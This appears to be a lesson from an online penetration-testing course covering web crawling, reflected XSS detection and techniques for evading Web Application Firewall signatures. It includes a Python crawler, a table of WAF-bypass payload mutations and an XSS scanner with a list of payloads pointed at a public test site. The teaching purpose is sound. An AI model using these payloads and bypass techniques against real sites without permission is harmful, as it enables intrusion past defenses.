Lesson 5 / 10
Module 2Lesson 2⏱ 55 min study

Lesson 5: Web Application Vulnerability Scanning & WAF Bypass Techniques

Automate web crawling, parameter mining, and Cross-Site Scripting (XSS) detection while defeating Web Application Firewall (WAF) regex signatures through payload mutation.

✦ Key Architectural Takeaways
  • •Automated web security auditing relies on recursive crawling, extracting form parameters, and tracking session cookies across states.
  • •Cross-Site Scripting (XSS) occurs when an application includes user-supplied input in an HTTP response without adequate validation or context-aware encoding.
  • •Web Application Firewalls (WAFs) inspect incoming HTTP requests using deterministic regular expressions and behavioral heuristic rulebooks.
  • •WAF evasion techniques exploit impedance mismatches between the WAF's regex preprocessor and the backend web application's HTML/JS parsing engine.
  • •Payload mutation strategies include double URL encoding, mixed-case tag nesting (<sCrIpt>), whitespace substitution (tabs, newlines), and HTML entity encoding.

1. Automated Web Application Crawling & Parameter Extraction

Web application penetration testing begins with mapping the attack surface: discovering hidden endpoints, input parameters, RESTful routes, and authentication boundaries.

Using Python's requests library with persistent sessions (requests.Session()), an automated auditor tracks CSRF tokens, session cookies, and handles HTTP redirections:

PYTHONSYSTEM SCHEMATIC
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse

class AttackSurfaceMapper:
    def __init__(self, base_url: str):
        self.base_url = base_url
        self.visited_urls = set()
        self.session = requests.Session()
        self.session.headers.update({"User-Agent": "SecAudit/3.0"})

    def crawl(self, current_url: str, depth: int = 2) -> None:
        if depth == 0 or current_url in self.visited_urls:
            return
        self.visited_urls.add(current_url)

        try:
            resp = self.session.get(current_url, timeout=3)
            soup = BeautifulSoup(resp.text, "html.parser")
            
            # Extract and log input parameters from HTML forms
            for form in soup.find_all("form"):
                action = form.get("action")
                method = form.get("method", "get").upper()
                inputs = [inp.get("name") for inp in form.find_all("input") if inp.get("name")]
                print(f"[+] Form Discovered: {method} {urljoin(current_url, action)} | Params: {inputs}")

            for a_tag in soup.find_all("a", href=True):
                full_link = urljoin(current_url, a_tag['href'])
                if urlparse(full_link).netloc == urlparse(self.base_url).netloc:
                    self.crawl(full_link, depth - 1)
        except requests.RequestException:
            pass
§

2. Web Application Firewall (WAF) Architecture & Signature Evasion

A Web Application Firewall (WAF) sits as a reverse proxy in front of web servers, evaluating incoming URI parameters, headers, and request bodies against known attack signatures (e.g., ModSecurity CRS, AWS WAF, Cloudflare WAF).

WAF Evasion & Payload Mutation Matrix:

Evasion TechniqueStandard PayloadWAF Evasion MutationUnderlying Bypass Mechanism
Case Sensitivity<script>alert(1)</script><sCrIpT>alert(1)</sCrIpT>Case-sensitive regex rule matching
Double URL Encoding<script>%253Cscript%253EWAF decodes once; backend decodes twice
Whitespace Substitution<img src=x onerror=alert(1)><img/src=x/onerror=alert(1)>Slash / Tab chars replace whitespace tokens
Tag Interleaving<script><scr<script>ipt>Naive string sanitizers strip inner token once
HTML5 Entity Hexalert(1)&#x61;lert(1)Browser resolves entities inside attributes
§

3. Automated XSS Scanner with Payload Mutation

PYTHONSYSTEM SCHEMATIC
#!/usr/bin/env python3
"""
Automated Reflected XSS Scanner with WAF Bypass Mutation Engine
Author: Yehia Elghaly / Offensive Security Engineering
"""

import requests
from urllib.parse import quote

# Curated list of WAF-evading XSS mutation vectors
XSS_MUTATION_VECTORS = [
    '<script>alert("XSS")</script>',
    '<sCrIpT>alert("XSS")</sCrIpT>',
    '<img src=x onerror=alert("XSS")>',
    '<svg/onload=alert("XSS")>',
    '<body onload=alert("XSS")>',
    '"><script>alert("XSS")</script>',
    '"><img src=x onerror=alert("XSS")>',
    '<iframe src="javascript:alert(\'XSS\')">',
    '\"><svg/onload=confirm(1)>'
]

def audit_reflected_xss(target_url: str, param_name: str) -> None:
    print(f"[*] Auditing endpoint: {target_url} on parameter: '{param_name}'")
    
    session = requests.Session()
    session.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"})

    for payload in XSS_MUTATION_VECTORS:
        test_params = {param_name: payload}
        try:
            response = session.get(target_url, params=test_params, timeout=3.5)
            # Verify if raw unescaped payload reflects directly in DOM response
            if payload in response.text:
                print(f"[!] HIGH VULNERABILITY: Reflected XSS confirmed!")
                print(f"    Payload: {payload}")
                print(f"    Status Code: {response.status_code}")
                return
        except requests.RequestException as e:
            print(f"[-] Connection failed during payload testing: {e}")

    print("[-] No reflected XSS identified with standard mutation vectors.")

if __name__ == "__main__":
    # Example target endpoint
    audit_reflected_xss("http://testphp.vulnweb.com/listproducts.php", "cat")